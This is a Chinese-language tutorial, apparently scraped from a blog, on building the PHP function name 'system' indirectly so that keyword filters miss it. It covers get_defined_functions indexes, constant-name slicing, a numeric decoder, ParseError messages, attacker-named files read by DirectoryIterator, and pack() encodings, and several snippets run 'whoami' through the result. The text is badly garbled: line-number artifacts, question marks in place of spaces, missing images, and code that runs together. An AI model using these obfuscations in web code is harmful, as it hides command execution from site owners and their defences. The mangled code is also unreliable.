前言
這篇文章主要是總結一下自己學習過的如何獲取惡意函數的篇章,重點是在如何獲取惡意函數
get_defined_functions
(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)
get_defined_functions — 返回所有已定義函數的數組
我們主要是可以通過這個獲取危險的函數
比如
?
比如
?
當然還有許多,如何執行命令就很簡單了
代碼如下
ounter(lineounter(lineounter(lineounter(line
<?php
$a=(get_defined_functions());
$a["internal"][516]("whoami");
?>
?
get_defined_constants
get_defined_constants — 返回所有常量的關聯數組,鍵是常量名,值是常量值
那獲取的常量是不是可以為我們所用呢?
?
可以看到是有 system 關鍵字的,我們就可以直接去獲取它的 key,然后截取不就是 system 了嗎
代碼如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php$a=get_defined_constants();
foreach?($a as $key => $value){if?(substr($key,0,7)=="INI_SYS"){$x= strtolower(substr($key,4,6));$x("whoami");}
}
?>
自定義方法
通過自定義的方法,從毫無頭緒的數字獲取到 system 函數,拿出廣為流傳的例子
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
function?fun($a){
? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];
? ??$tmp?=?"";
? ??while?($a>10) {
? ? ? ??$tmp?.=?$s[$a%10];
? ? ? ??$a?=?$a/10;
? ? }
? ??return?$tmp.$s[$a];
}
現在還沒有看出端倪,但是當你運行這串代碼的時候???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
function?fun($a){
? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];
? ??$tmp?=?"";
? ??while?($a>10) {
? ? ? ??$tmp?.=?$s[$a%10];
? ? ? ??$a?=?$a/10;
? ? }
? ??return?$tmp.$s[$a];
}
echo?fun(451232);
?
拋出異常截取字符串
這個手法也是比較特殊的
我們可以隨便找一個異常類
比如 ParseError,然后再加上我們剛剛的自定義方法
ParseError?當解析 PHP 代碼時發生錯誤時拋出,比如當 eval() 被調用出錯時。
它的一些屬性和方法???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
/* 繼承的屬性 */
protected?string?$message?=?"";
private?string?$string?=?"";
protected?int?$code;
protected?string?$file?=?"";
protected?int?$line;
private?array?$trace?= [];
private??Throwable?$previous?=?null;
/* 繼承的方法 */
public?Error::__construct(string?$message?=?"",?int?$code?=?0, ?Throwable?$previous?=?null)
final?public?Error::getMessage():?string
final?public?Error::getPrevious(): ?Throwable
final?public?Error::getCode():?int
final?public?Error::getFile():?string
final?public?Error::getLine():?int
final?public?Error::getTrace():?array
final?public?Error::getTraceAsString():?string
public?Error::__toString():?string
private?Error::__clone():?void
可以看到都是基礎父類的???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
Exception::__construct?— 異常構造函數
Exception::getMessage?— 獲取異常消息內容
Exception::getPrevious?— 返回前一個?Throwable
Exception::getCode?— 獲取異常代碼
Exception::getFile?— 創建異常時的程序文件名稱
Exception::getLine?— 獲取創建的異常所在文件中的行號
Exception::getTrace?— 獲取異常追蹤信息
Exception::getTraceAsString?— 獲取字符串類型的異常追蹤信息
Exception::__toString?— 將異常對象轉換為字符串
Exception::__clone?— 異常克隆
根據這些思路來了,我們如果能夠獲取報錯內容,那不就是隱含的獲取了惡意函數嗎
代碼如下???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
function?fun($a){
? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];
? ??$tmp?=?"";
? ??while?($a>10) {
? ? ? ??$tmp?.=?$s[$a%10];
? ? ? ??$a?=?$a/10;
? ? }
? ??return?$tmp.$s[$a];
}
$a?= new ParseError(fun(451232));
echo?$a->getMessage();
?
DirectoryIterator
The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.
它的一些方法
DirectoryIterator::__construct — Constructs a new directory iterator from a path
DirectoryIterator::current — Return the current DirectoryIterator item
DirectoryIterator::getBasename — Get base name of current DirectoryIterator item
DirectoryIterator::getExtension — Gets the file extension
DirectoryIterator::getFilename — Return file name of current DirectoryIterator item
DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'
DirectoryIterator::key — Return the key for the current DirectoryIterator item
DirectoryIterator::next — Move forward to next DirectoryIterator item
DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start
DirectoryIterator::seek — Seek to a DirectoryIterator item
DirectoryIterator::__toString — Get file name as a string
DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file
其中大概看一下,其實
DirectoryIterator::getFilename 就有利用的可能
DirectoryIterator::getFilename — Return file name of current DirectoryIterator item
看一下官方的例子???????
ounter(line
<?php$dir?=?new?DirectoryIterator(dirname(__FILE__));foreach?($dir as?$fileinfo) { ? ?echo?$fileinfo->getFilename() .?"\n";}?>
以上示例的輸出類似于:???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
.
..
apple.jpg
banana.jpg
index.php
pear.jpg
那豈不是我們如果可以控制自己的文件名或者目錄,那不就構造出來了嗎
代碼如下???????
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
// 創建FilesystemIterator實例
$iterator?=?new?FilesystemIterator(dirname(__FILE__));
foreach?($iterator as?$item) {
? ? // 輸出文件和目錄的屬性
? ??echo?$item->getFilename() .?"\n";
}
?>
?
運行結果
?
確實是獲取到了
pack
這個函數很有意思的
pack — 將數據打包成二進制字符串
可以構造出字符串
pack(string$format
, mixed...$values
): string
將輸入參數打包成?format
?格式的二進制字符串。
這個函數的思想來自 Perl,所有格式化代碼(format
)的工作原理都與 Perl 相同。但是,缺少了部分格式代碼,比如 Perl 的 “u”。
注意,有符號值和無符號值之間的區別只影響函數 unpack(),在那些使用有符號和無符號格式代碼的地方?pack()?函數產生相同的結果。
看了一下大概,再看下官方的例子
這是一些它的格式
?
示例 #1 *pack()*?范例???????
ounter(line
<?php$binarydata?= pack("nvc*",?0x1234,?0x5678,?65,?66);?>
輸出結果為長度為 6 字節的二進制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。
那我們按照構造出 system 的思路
ounter(lineounter(lineounter(lineounter(lineounter(line
<?phpecho?pack("C6", 115, 121, 115, 116, 101, 109);
echo?pack("H*",?"73797374656d");?>
???????
這兩個結果都是 system
"C6"
?是格式字符串,其中?C
?表示將后續的六個參數視為無符號字符(即 ASCII 字符),6
?表示有六個字符。傳入的參數
115,?121,?115,?116,?101,?109
是 ASCII 碼值。
115
?對應的字符是?s
121
?對應的字符是?y
115
?對應的字符是?s
116
?對應的字符是?t
101
?對應的字符是?e
109
?對應的字符是?m
- ounter(line
構造出來的就是 system
"H*"
?是格式字符串,其中?H
?表示將后續傳遞的參數視為十六進制字符串,*
?表示任意長度。73797374656d
是一個十六進制表示的字符串。將其轉換為 ASCII 字符:
構造出來的也是system
73
?是?s
79
?是?y
73
?是?s
74
?是?t
65
?是?e
6d
?是?m
- ounter(line
?